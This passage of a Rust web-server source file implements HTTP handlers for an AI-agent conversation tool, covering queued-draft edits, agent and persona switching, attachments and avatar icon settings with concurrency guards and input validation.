9961    turn: TalkTurnGuard,
9962    observed: u64,
9963) -> bool {
9964    if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
9965        let turns = Arc::clone(&turn.turns);
9966        let mut live = turns.lock().unwrap_or_else(PoisonError::into_inner);
9967        if live.queued.get(&id).copied().unwrap_or(0) == observed {
9968            // Release under the arrival lock; a later `/say` takes its own claim.
9969            turn.release(&mut live);
9970            return false;
9971        }
9972    }
9973    let (started, settled) = tokio::sync::oneshot::channel();
9974    tokio::spawn(drain_loop_started(
9975        talk,
9976        talks,
9977        cfg,
9978        id,
9979        turn,
9980        Some(started),
9981    ));
9982    settled.await.unwrap_or(false)
9983}
9984
9985#[cfg(not(test))]
9986async fn drain_loop_started(
9987    talk: Talk,
9988    talks: Talks,
9989    _cfg: Config,
9990    id: String,
9991    turn: TalkTurnGuard,
9992    started: Option<tokio::sync::oneshot::Sender<bool>>,
9993) {
9994    let pending = !talk.pending.is_empty() || !talk.pending_attachments.is_empty();
9995    let running = if pending {
9996        match crate::chat_worker::spawn_turn(&talks, &id).await {
9997            Ok(_) => true,
9998            Err(error) => {
9999                tracing::warn!("talk {id}: could not launch draft worker: {error:#}");
10000                false
10001            }
10002        }
10003    } else {
10004        false
10005    };
10006    drop(turn);
10007    if let Some(started) = started {
10008        let _ = started.send(running);
10009    }
10010}
10011
10012// Existing in-process conversation tests exercise transcript/arrival ordering;
10013// real process-lifetime behavior is covered by the CLI integration tests.
10014#[cfg(test)]
10015async fn drain_loop_started(
10016    mut talk: Talk,
10017    talks: Talks,
10018    cfg: Config,
10019    id: String,
10020    turn: TalkTurnGuard,
10021    mut started: Option<tokio::sync::oneshot::Sender<bool>>,
10022) {
10023    let live_set = Arc::clone(&turn.turns);
10024    // `Option` rather than binding `turn` directly to a `_turn` that lives
10025    // for the whole function: releasing it has to happen by calling
10026    // `TalkTurnGuard::release` from inside the locked branch below, which
10027    // takes `self` by value. Left as a plain drop instead, `Drop` would still
10028    // remove the id - correctly, if this loop is ever left some other way -
10029    // but doing it there misses the lock this loop is already holding, which
10030    // is the exact gap `release` exists to close.
10031    let mut turn = Some(turn);
10032    loop {
10033        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
10034            // The lease was taken over while a turn ran. Whatever is queued
10035            // stays a draft; running it here would race the new owner.
10036            tracing::warn!("talk {id} lost its turn lease; not draining further");
10037            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10038            if let Some(turn) = turn.take() {
10039                turn.release(&mut live);
10040            }
10041            break;
10042        }
10043        // `talk::drain` takes the store lock and can write/rename the talk
10044        // file. Keep the turn mutex out of that synchronous work: it protects
10045        // every talk's in-memory claim, not this talk's disk operation.
10046        let observed = live_set
10047            .lock()
10048            .unwrap_or_else(PoisonError::into_inner)
10049            .queued
10050            .get(&id)
10051            .copied()
10052            .unwrap_or(0);
10053        let drained = blocking({
10054            let talks = talks.clone();
10055            move || {
10056                let result = talk::drain(&mut talk, &talks);
10057                Ok((talk, result))
10058            }
10059        })
10060        .await;
10061        let (next_talk, result) = match drained {
10062            Ok(drained) => drained,
10063            Err(e) => {
10064                tracing::warn!(
10065                    status = %e.status,
10066                    message = %e.message,
10067                    "talk {id} could not start queued-text drain"
10068                );
10069                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10070                turn.take()
10071                    .expect("held for the whole loop until released here")
10072                    .release(&mut live);
10073                break;
10074            }
10075        };
10076        talk = next_talk;
10077        let drained = match result {
10078            Ok(Some(drained)) => drained,
10079            Ok(None) => {
10080                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10081                if live.queued.get(&id).copied().unwrap_or(0) != observed {
10082                    continue;
10083                }
10084                turn.take()
10085                    .expect("held for the whole loop until released here")
10086                    .release(&mut live);
10087                break;
10088            }
10089            Err(e) => {
10090                tracing::warn!("talk {id} could not drain queued text: {e:#}");
10091                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
10092                turn.take()
10093                    .expect("held for the whole loop until released here")
10094                    .release(&mut live);
10095                break;
10096            }
10097        };
10098        if let Some(started) = started.take() {
10099            let _ = started.send(true);
10100        }
10101        let responded = match turn.as_ref() {
10102            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
10103            None => Err(anyhow::anyhow!("the turn guard was released")),
10104        };
10105        if let Err(e) = responded {
10106            tracing::warn!("talk {id} turn failed: {e:#}");
10107        }
10108    }
10109    drop(turn);
10110    if let Some(started) = started {
10111        let _ = started.send(false);
10112    }
10113}
10114
10115/// Clear a queued draft only if it remains exactly the one the caller saw.
10116async fn talk_pending_clear(
10117    State(ui): State<Arc<Ui>>,
10118    Path(id): Path<String>,
10119    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
10120) -> ApiResult<Json<TalkView>> {
10121    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10122    blocking(move || {
10123        let id = resolve_talk(&ui.talks, &id)?;
10124        let mut talk = ui.talks.get(&id)?;
10125        if !talk.status.open() {
10126            return Err(ApiError::conflict(format!(
10127                "talk {} is {} and takes no more turns",
10128                talk.short(),
10129                talk.status.as_str()
10130            )));
10131        }
10132        if !talk::clear_pending_if_matches(
10133            &mut talk,
10134            &ui.talks,
10135            &body.expected_text,
10136            &body.expected_attachments,
10137        )? {
10138            return Err(ApiError::conflict(
10139                "queued message changed; reload it before clearing",
10140            ));
10141        }
10142        let thinking = ui.is_thinking(&talk.id);
10143        Ok(Json(TalkView::new(talk, thinking, &ui)))
10144    })
10145    .await
10146}
10147
10148/// Atomically edit a queued draft's text while preserving its attachments.
10149/// The snapshot fields make a concurrent queue or drain a conflict rather
10150/// than silently discarding either message.
10151async fn talk_pending_edit(
10152    State(ui): State<Arc<Ui>>,
10153    Path(id): Path<String>,
10154    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
10155) -> ApiResult<Json<TalkView>> {
10156    let admission = ui.begin_admission()?;
10157    admitted(admission, async move {
10158        let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
10159        let id = {
10160            let ui = Arc::clone(&ui);
10161            blocking(move || resolve_talk(&ui.talks, &id)).await?
10162        };
10163        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10164            .await
10165            .map_err(ApiError::from)?;
10166        let (view, reclaimed) = blocking({
10167            let ui = Arc::clone(&ui);
10168            move || {
10169                let mut talk = ui.talks.get(&id)?;
10170                if !talk.status.open() {
10171                    return Err(ApiError::conflict(format!(
10172                        "talk {} is {} and takes no more turns",
10173                        talk.short(),
10174                        talk.status.as_str()
10175                    )));
10176                }
10177                if !talk::edit_pending_message(
10178                    &mut talk,
10179                    &ui.talks,
10180                    &body.text,
10181                    &body.expected_text,
10182                    &body.expected_attachments,
10183                    body.message,
10184                )? {
10185                    return Err(ApiError::conflict(
10186                        "queued message changed; reload it before editing",
10187                    ));
10188                }
10189                let claim = match ui.begin_queued_talk_turn(&id)? {
10190                    Some(turn_guard) => {
10191                        let (cfg, _) = Config::discover(&talk.repo, None)?;
10192                        Some((talk.clone(), cfg, id.clone(), turn_guard))
10193                    }
10194                    None => None,
10195                };
10196                let thinking = ui.is_thinking(&id);
10197                Ok((TalkView::new(talk, thinking, &ui), claim))
10198            }
10199        })
10200        .await?;
10201        if let Some((talk, cfg, id, turn_guard)) = reclaimed {
10202            let talks = ui.talks.clone();
10203            #[cfg(not(test))]
10204            detach_talk_turn(talk, talks, cfg, id, turn_guard).await?;
10205            #[cfg(test)]
10206            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
10207        }
10208        Ok(Json(view))
10209    })
10210    .await
10211}
10212
10213/// The 409 for a talk that takes no more turns.
10214fn refuse_if_closed(talk: &Talk) -> ApiResult<()> {
10215    if talk.status.open() {
10216        return Ok(());
10217    }
10218    Err(ApiError::conflict(format!(
10219        "talk {} is {} and takes no more turns",
10220        talk.short(),
10221        talk.status.as_str()
10222    )))
10223}
10224
10225/// The body of `POST /api/talks/{id}/agent`.
10226#[derive(Debug, Deserialize)]
10227struct TalkAgent {
10228    agent: String,
10229}
10230
10231/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
10232/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
10233/// start a turn on the old session between the check and the write; one that
10234/// arrives in that window finds the talk busy and becomes a draft.
10235async fn talk_agent(
10236    State(ui): State<Arc<Ui>>,
10237    Path(id): Path<String>,
10238    Json(body): Json<TalkAgent>,
10239) -> ApiResult<Json<TalkView>> {
10240    let admission = ui.begin_admission()?;
10241    admitted(admission, async move {
10242        let id = {
10243            let ui = Arc::clone(&ui);
10244            blocking(move || resolve_talk(&ui.talks, &id)).await?
10245        };
10246        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10247            .await
10248            .map_err(ApiError::from)?;
10249        let repo = {
10250            let ui = Arc::clone(&ui);
10251            let id = id.clone();
10252            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10253        };
10254        let cfg = config_for(&repo).await?;
10255        // Refuse before taking the claim; see `talk_implementers`.
10256        {
10257            let ui = Arc::clone(&ui);
10258            let id = id.clone();
10259            let cfg = cfg.clone();
10260            let wanted = body.agent.clone();
10261            blocking(move || {
10262                agent::pick(&cfg.agents, Some(&wanted), &agent::installed)
10263                    .map_err(ApiError::bad_request_from)?;
10264                refuse_if_closed(&ui.talks.get(&id)?)
10265            })
10266            .await?;
10267        }
10268        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10269            return Err(ApiError::conflict(
10270                "a talk turn is running; change the agent once it has answered",
10271            ));
10272        };
10273        let switched = {
10274            let ui = Arc::clone(&ui);
10275            let id = id.clone();
10276            let cfg = cfg.clone();
10277            blocking(move || {
10278                let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
10279                    .map_err(ApiError::bad_request_from)?;
10280                let mut talk = ui.talks.get(&id)?;
10281                if !talk.status.open() {
10282                    return Err(ApiError::conflict(format!(
10283                        "talk {} is {} and takes no more turns",
10284                        talk.short(),
10285                        talk.status.as_str()
10286                    )));
10287                }
10288                talk::switch_agent(&mut talk, &ui.talks, &spec)?;
10289                Ok(talk)
10290            })
10291            .await
10292        };
10293        // A `/say` that landed while this held the claim saw the talk busy and
10294        // left a durable draft, trusting the claim's owner to drain it. So the
10295        // claim is settled whatever the outcome. Release an empty draft's claim
10296        // before replying; queued drafts continue independently of the handler.
10297        let observed = ui.queued_generation(&id);
10298        let fresh = {
10299            let ui = Arc::clone(&ui);
10300            let id = id.clone();
10301            blocking(move || Ok(ui.talks.get(&id)?)).await
10302        };
10303        let draining = match fresh {
10304            Ok(talk) => {
10305                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10306            }
10307            Err(_) => false,
10308        };
10309        let talk = switched?;
10310        Ok(Json(TalkView::new(talk, draining, &ui)))
10311    })
10312    .await
10313}
10314
10315/// The body of `POST /api/talks/{id}/persona`.
10316#[derive(Debug, Deserialize)]
10317struct TalkPersona {
10318    persona: String,
10319}
10320
10321/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
10322/// like [`talk_agent`]: the turn guard is held for the change and always handed
10323/// to `drain_loop`, so a draft left meanwhile is not stranded.
10324async fn talk_persona(
10325    State(ui): State<Arc<Ui>>,
10326    Path(id): Path<String>,
10327    Json(body): Json<TalkPersona>,
10328) -> ApiResult<Json<TalkView>> {
10329    let admission = ui.begin_admission()?;
10330    admitted(admission, async move {
10331        let id = {
10332            let ui = Arc::clone(&ui);
10333            blocking(move || resolve_talk(&ui.talks, &id)).await?
10334        };
10335        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10336            .await
10337            .map_err(ApiError::from)?;
10338        let repo = {
10339            let ui = Arc::clone(&ui);
10340            let id = id.clone();
10341            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10342        };
10343        let cfg = config_for(&repo).await?;
10344        // Refuse before taking the claim; see `talk_implementers`.
10345        {
10346            let ui = Arc::clone(&ui);
10347            let id = id.clone();
10348            let cfg = cfg.clone();
10349            let wanted = body.persona.clone();
10350            blocking(move || {
10351                if persona::find(&cfg.talk.personas, &wanted).is_none() {
10352                    return Err(ApiError::bad_request(format!("unknown persona `{wanted}`")));
10353                }
10354                refuse_if_closed(&ui.talks.get(&id)?)
10355            })
10356            .await?;
10357        }
10358        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10359            return Err(ApiError::conflict(
10360                "a talk turn is running; change the persona once it has answered",
10361            ));
10362        };
10363        let switched = {
10364            let ui = Arc::clone(&ui);
10365            let id = id.clone();
10366            let cfg = cfg.clone();
10367            blocking(move || {
10368                let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
10369                    return Err(ApiError::bad_request(format!(
10370                        "unknown persona `{}`",
10371                        body.persona
10372                    )));
10373                };
10374                let mut talk = ui.talks.get(&id)?;
10375                if !talk.status.open() {
10376                    return Err(ApiError::conflict(format!(
10377                        "talk {} is {} and takes no more turns",
10378                        talk.short(),
10379                        talk.status.as_str()
10380                    )));
10381                }
10382                talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
10383                Ok(talk)
10384            })
10385            .await
10386        };
10387        // As in `talk_agent`: settle the claim before replying, even on refusal.
10388        let observed = ui.queued_generation(&id);
10389        let fresh = {
10390            let ui = Arc::clone(&ui);
10391            let id = id.clone();
10392            blocking(move || Ok(ui.talks.get(&id)?)).await
10393        };
10394        let draining = match fresh {
10395            Ok(talk) => {
10396                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10397            }
10398            Err(_) => false,
10399        };
10400        let talk = switched?;
10401        Ok(Json(TalkView::new(talk, draining, &ui)))
10402    })
10403    .await
10404}
10405
10406/// The body of `POST /api/talks/{id}/implementers`.
10407#[derive(Debug, Deserialize)]
10408struct TalkImplementers {
10409    implementers: u8,
10410}
10411
10412/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
10413/// like [`talk_agent`]: the turn guard is held for the change and always handed
10414/// to `drain_loop`, so a draft left meanwhile is not stranded.
10415async fn talk_implementers(
10416    State(ui): State<Arc<Ui>>,
10417    Path(id): Path<String>,
10418    Json(body): Json<TalkImplementers>,
10419) -> ApiResult<Json<TalkView>> {
10420    let admission = ui.begin_admission()?;
10421    admitted(admission, async move {
10422        let id = {
10423            let ui = Arc::clone(&ui);
10424            blocking(move || resolve_talk(&ui.talks, &id)).await?
10425        };
10426        let _publication = crate::chat_worker::publication_guard(&ui.talks, &id)
10427            .await
10428            .map_err(ApiError::from)?;
10429        let repo = {
10430            let ui = Arc::clone(&ui);
10431            let id = id.clone();
10432            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10433        };
10434        let cfg = config_for(&repo).await?;
10435        // Refuse a request that cannot succeed before taking the claim: a claim
10436        // taken for it is handed to `drain_loop`, which holds the talk busy for a
10437        // moment, so a refusal would make the next request see "busy" instead of
10438        // its own answer. The checks after the claim stay the ones that decide.
10439        {
10440            let ui = Arc::clone(&ui);
10441            let id = id.clone();
10442            let cfg = cfg.clone();
10443            let wanted = body.implementers;
10444            blocking(move || {
10445                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10446                refuse_if_closed(&ui.talks.get(&id)?)
10447            })
10448            .await?;
10449        }
10450        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10451            return Err(ApiError::conflict(
10452                "a talk turn is running; change the implementers once it has answered",
10453            ));
10454        };
10455        let switched = {
10456            let ui = Arc::clone(&ui);
10457            let id = id.clone();
10458            let cfg = cfg.clone();
10459            blocking(move || {
10460                let chosen = talk::check_implementers(body.implementers, &cfg)
10461                    .map_err(ApiError::bad_request)?;
10462                let mut talk = ui.talks.get(&id)?;
10463                if !talk.status.open() {
10464                    return Err(ApiError::conflict(format!(
10465                        "talk {} is {} and takes no more turns",
10466                        talk.short(),
10467                        talk.status.as_str()
10468                    )));
10469                }
10470                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10471                Ok(talk)
10472            })
10473            .await
10474        };
10475        // As in `talk_agent`: settle the claim before replying, even on refusal.
10476        let observed = ui.queued_generation(&id);
10477        let fresh = {
10478            let ui = Arc::clone(&ui);
10479            let id = id.clone();
10480            blocking(move || Ok(ui.talks.get(&id)?)).await
10481        };
10482        let draining = match fresh {
10483            Ok(talk) => {
10484                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10485            }
10486            Err(_) => false,
10487        };
10488        let talk = switched?;
10489        Ok(Json(TalkView::new(talk, draining, &ui)))
10490    })
10491    .await
10492}
10493
10494/// `POST /api/talks/{id}/close`.
10495async fn talk_close(
10496    State(ui): State<Arc<Ui>>,
10497    Path(id): Path<String>,
10498) -> ApiResult<Json<TalkView>> {
10499    blocking(move || {
10500        let id = resolve_talk(&ui.talks, &id)?;
10501        let mut talk = ui.talks.get(&id)?;
10502        talk::close(&mut talk, &ui.talks).map_err(|error| {
10503            if error.is::<talk::ClosePendingInput>() {
10504                ApiError::conflict(format!("{error:#}"))
10505            } else {
10506                ApiError::from(error)
10507            }
10508        })?;
10509        let thinking = ui.is_thinking(&talk.id);
10510        Ok(Json(TalkView::new(talk, thinking, &ui)))
10511    })
10512    .await
10513}
10514
10515/// `POST /api/talks/{id}/reopen`.
10516async fn talk_reopen(
10517    State(ui): State<Arc<Ui>>,
10518    Path(id): Path<String>,
10519) -> ApiResult<Json<TalkView>> {
10520    blocking(move || {
10521        let id = resolve_talk(&ui.talks, &id)?;
10522        let mut talk = ui.talks.get(&id)?;
10523        talk::reopen(&mut talk, &ui.talks)?;
10524        let thinking = ui.is_thinking(&talk.id);
10525        Ok(Json(TalkView::new(talk, thinking, &ui)))
10526    })
10527    .await
10528}
10529
10530/// `DELETE /api/talks/{id}`.
10531///
10532/// Removes the conversation's record and artifacts outright, unlike
10533/// [`talk_close`] which keeps the record as history. A turn already in
10534/// flight is not refused here the way [`run_delete`] refuses a live run:
10535/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
10536/// under [`Talks::guard`], that the record they are about to write back is
10537/// still there, so a delete racing a turn is safe without this route having
10538/// to know a turn is running at all.
10539async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10540    blocking(move || {
10541        let id = resolve_talk(&ui.talks, &id)?;
10542        ui.talks.remove(&id)?;
10543        Ok(StatusCode::NO_CONTENT)
10544    })
10545    .await
10546}
10547
10548fn talk_ids(root: &FsPath) -> Vec<String> {
10549    std::fs::read_dir(root)
10550        .into_iter()
10551        .flatten()
10552        .flatten()
10553        .filter_map(|e| {
10554            let path = e.path();
10555            if path.extension().is_some_and(|ext| ext == "json") {
10556                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10557            } else {
10558                None
10559            }
10560        })
10561        .collect()
10562}
10563
10564/// Expand an id or short id to exactly one talk id.
10565fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10566    if plain_record_id(id) && store.path_of(id).is_file() {
10567        return Ok(id.to_owned());
10568    }
10569    pick(talk_ids(store.root()), id, "talk")
10570}
10571
10572/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
10573/// future `talk-say`.
10574async fn talk_attachment_post(
10575    State(ui): State<Arc<Ui>>,
10576    Path(id): Path<String>,
10577    headers: HeaderMap,
10578    body: Bytes,
10579) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10580    let mime = validate_attachment(&headers, &body)?;
10581    let name = filename_header(&headers);
10582    let data = body.to_vec();
10583    blocking(move || {
10584        let id = resolve_talk(&ui.talks, &id)?;
10585        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10586        Ok((StatusCode::CREATED, Json(att)))
10587    })
10588    .await
10589}
10590
10591/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
10592/// `<img>` tag in the transcript.
10593async fn talk_attachment_get(
10594    State(ui): State<Arc<Ui>>,
10595    Path((id, att)): Path<(String, String)>,
10596) -> ApiResult<Response> {
10597    blocking(move || {
10598        let id = resolve_talk(&ui.talks, &id)?;
10599        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10600            return Err(ApiError::not_found(format!(
10601                "talk {id} has no attachment `{att}`"
10602            )));
10603        };
10604        Ok(attachment_response(&meta.mime, data))
10605    })
10606    .await
10607}
10608
10609/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
10610/// the icon setting, so changing it changes the URL.
10611fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10612    let id = avatar_encode(&p.id);
10613    format!(
10614        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10615        persona_icon::fingerprint(
10616            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10617        )
10618    )
10619}
10620
10621#[derive(Debug, Default, Deserialize)]
10622struct AvatarQuery {
10623    persona: Option<String>,
10624    /// Set by the page after the first load failed: skip the `icon`.
10625    builtin: Option<String>,
10626}
10627
10628/// Served with every built-in avatar: it is an image, so nothing else may run.
10629const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10630
10631fn builtin_avatar(id: &str) -> Response {
10632    svg_avatar(persona_icon::builtin_svg(id))
10633}
10634
10635async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10636    raster_or_builtin(
10637        read_icon_file(&avatar_setting_path(&ui.home, None))
10638            .filter(|_| q.builtin.is_none())
10639            .as_deref(),
10640        persona_icon::operator_svg(),
10641    )
10642}
10643
10644fn svg_avatar(svg: &'static str) -> Response {
10645    (
10646        [
10647            (header::CONTENT_TYPE, "image/svg+xml"),
10648            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10649            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10650            (header::CACHE_CONTROL, "no-cache"),
10651        ],
10652        svg,
10653    )
10654        .into_response()
10655}
10656
10657fn avatar_encode(value: &str) -> String {
10658    value
10659        .bytes()
10660        .map(|b| {
10661            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
10662                char::from(b).to_string()
10663            } else {
10664                format!("%{b:02X}")
10665            }
10666        })
10667        .collect()
10668}
10669
10670// Display-only overrides live outside configuration and conversation records.
10671fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10672    let Some(id) = persona else {
10673        return home.join("avatars/operator.data");
10674    };
10675    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10676    let mut path = home.join("avatars/personas");
10677    for chunk in encoded.as_bytes().chunks(100) {
10678        path.push(std::str::from_utf8(chunk).expect("hex"));
10679    }
10680    path.join("icon.data")
10681}
10682
10683fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10684    match read_icon_file(&avatar_setting_path(home, Some(id))) {
10685        Some(value) if value == "builtin" => Some(String::new()),
10686        Some(value) => Some(value),
10687        None => configured.map(str::to_owned),
10688    }
10689}
10690
10691fn operator_icon_url(home: &FsPath) -> String {
10692    format!(
10693        "/avatars/operator.svg?v={}",
10694        persona_icon::fingerprint(
10695            read_icon_file(&avatar_setting_path(home, None))
10696                .as_deref()
10697                .or(Some(persona_icon::operator_svg()))
10698        )
10699    )
10700}
10701
10702fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10703    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10704        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10705            attachment_response(mime, bytes)
10706        }
10707        _ => svg_avatar(builtin),
10708    };
10709    response
10710        .headers_mut()
10711        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10712    response
10713}
10714
10715#[derive(Default, Deserialize)]
10716struct AvatarSettingsQuery {
10717    repo: Option<PathBuf>,
10718    persona: Option<String>,
10719    builtin: Option<String>,
10720    inherit: Option<String>,
10721}
10722
10723fn avatar_settings_specs(
10724    ui: &Ui,
10725    repo: Option<PathBuf>,
10726) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10727    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10728    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10729        .map(|cfg| cfg.talk.personas)
10730        .unwrap_or_default();
10731    Ok((repo, specs))
10732}
10733
10734fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10735    let Ok(entries) = std::fs::read_dir(path) else {
10736        return;
10737    };
10738    for entry in entries.flatten() {
10739        let name = entry.file_name().to_string_lossy().into_owned();
10740        if name == "icon.data" {
10741            let bytes: Option<Vec<u8>> = prefix
10742                .as_bytes()
10743                .chunks(2)
10744                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10745                .collect();
10746            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10747                out.push(id);
10748            }
10749        } else if name.len() <= 100
10750            && !name.is_empty()
10751            && name.bytes().all(|b| b.is_ascii_hexdigit())
10752            && entry.file_type().is_ok_and(|t| t.is_dir())
10753        {
10754            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10755        }
10756    }
10757}
10758
10759async fn avatar_settings_get(
10760    State(ui): State<Arc<Ui>>,
10761    Query(q): Query<AvatarSettingsQuery>,
10762) -> ApiResult<Json<serde_json::Value>> {
10763    blocking(move || {
10764        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10765        let mut catalog = persona::catalog(&specs);
10766        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10767        let mut saved = Vec::new();
10768        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10769        for id in saved {
10770            if !catalog.iter().any(|p| p.id == id) {
10771                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10772            }
10773        }
10774        let personas: Vec<_> = catalog.iter().map(|p| {
10775            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10776            let override_state = match saved.as_deref() {
10777                Some("builtin") => "builtin",
10778                Some(_) => "custom",
10779                None => "inherit",
10780            };
10781            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10782            serde_json::json!({"id":p.id,"name":p.name,
10783                "override_state":override_state,"has_config_icon":p.icon.is_some(),
10784                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10785                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10786        }).collect();
10787        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10788    }).await
10789}
10790
10791async fn settings_persona_avatar(
10792    State(ui): State<Arc<Ui>>,
10793    Query(q): Query<AvatarSettingsQuery>,
10794) -> ApiResult<Response> {
10795    blocking(move || {
10796        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
10797        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10798        let found = persona::find(&specs, id);
10799        let icon =
10800            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10801        Ok(raster_or_builtin(
10802            icon.as_deref().filter(|_| q.builtin.is_none()),
10803            persona_icon::builtin_svg(id),
10804        ))
10805    })
10806    .await
10807}
10808
10809fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10810    if q.persona
10811        .as_ref()
10812        .is_some_and(|p| p.is_empty() || p.len() > 4096)
10813    {
10814        return Err(ApiError::bad_request("invalid persona id"));
10815    }
10816    Ok(())
10817}
10818
10819async fn avatar_settings_put(
10820    State(ui): State<Arc<Ui>>,
10821    Query(q): Query<AvatarSettingsQuery>,
10822    Json(upload): Json<MagiIconUpload>,
10823) -> ApiResult<Json<serde_json::Value>> {
10824    blocking(move || {
10825        validate_avatar_target(&q)?;
10826        save_icon_file(
10827            &avatar_setting_path(&ui.home, q.persona.as_deref()),
10828            &upload.icon,
10829        )
10830        .map_err(ApiError::bad_request_from)?;
10831        Ok(Json(serde_json::json!({"saved":true})))
10832    })
10833    .await
10834}
10835
10836async fn avatar_settings_delete(
10837    State(ui): State<Arc<Ui>>,
10838    Query(q): Query<AvatarSettingsQuery>,
10839) -> ApiResult<Json<serde_json::Value>> {
10840    blocking(move || {
10841        validate_avatar_target(&q)?;
10842        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10843        if q.persona.is_some() && q.inherit.is_none() {
10844            atomic_icon_write(&path, "builtin")?;
10845        } else {
10846            match std::fs::remove_file(path) {
10847                Ok(()) => (),
10848                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10849                Err(e) => return Err(anyhow::Error::from(e).into()),
10850            }
10851        }
10852        Ok(Json(serde_json::json!({"saved":true})))
10853    })
10854    .await
10855}
10856
10857// The global MAGI icon is deliberately independent of repository configuration.
10858fn magi_icon_path(home: &FsPath) -> PathBuf {
10859    home.join("magi-icon.data")
10860}
10861
10862fn read_magi_icon(home: &FsPath) -> Option<String> {
10863    read_icon_file(&magi_icon_path(home))
10864}
10865
10866fn read_icon_file(path: &FsPath) -> Option<String> {
10867    let metadata = std::fs::metadata(path).ok()?;
10868    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10869        return None;
10870    }
10871    let file = std::fs::File::open(path).ok()?;
10872    use std::io::Read;
10873    let mut text = String::new();
10874    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10875        .read_to_string(&mut text)
10876        .ok()?;
10877    if text.len() > persona_icon::ICON_MAX_BYTES {
10878        return None;
10879    }
10880    if text == "builtin" {
10881        return Some(text);
10882    }
10883    validate_uploaded_icon(&text).ok()?;
10884    Some(text)
10885}
10886
10887fn magi_icon_url(home: &FsPath) -> String {
10888    format!(
